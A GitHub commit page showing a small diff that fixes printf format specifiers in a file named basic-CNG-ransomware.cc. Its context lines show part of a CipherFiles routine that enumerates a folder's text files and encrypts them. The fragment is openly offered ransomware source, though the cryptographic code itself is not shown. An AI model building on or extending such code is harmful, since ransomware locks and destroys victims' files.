Skip to content

Commit cbae4f4

Browse files
committed
print fix for x64
1 parent 9196c56 commit cbae4f4

1 file changed

Lines changed: 2 additions & 2 deletions

File tree

src/custom-ransomware/basic-CNG-ransomware.cc

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -156,12 +156,12 @@ bool CipherFiles() {
156156

157157
printf(" [i] Enumerating text files\n");
158158
vector<string> text_files = RetrieveTextFiles(path);
159-
printf(" * Found %u text files\n", text_files.size());
159+
printf(" * Found %zu text files\n", text_files.size());
160160

161161
printf(" [i] Ciphering text files in folder\n");
162162
SIZE_T file_count = 1;
163163
for (const string& filename : text_files) {
164-
printf(" Progress: %u/%u\t\t\r", file_count++, text_files.size());
164+
printf(" Progress: %zu/%zu\t\t\r", file_count++, text_files.size());
165165

166166
wstring wide_input_filename(filename.begin(), filename.end()); // Convertir el nombre de archivo a wstring
167167
wide_input_filename = path + wide_input_filename; // Pasar el path

0 commit comments

Comments
 (0)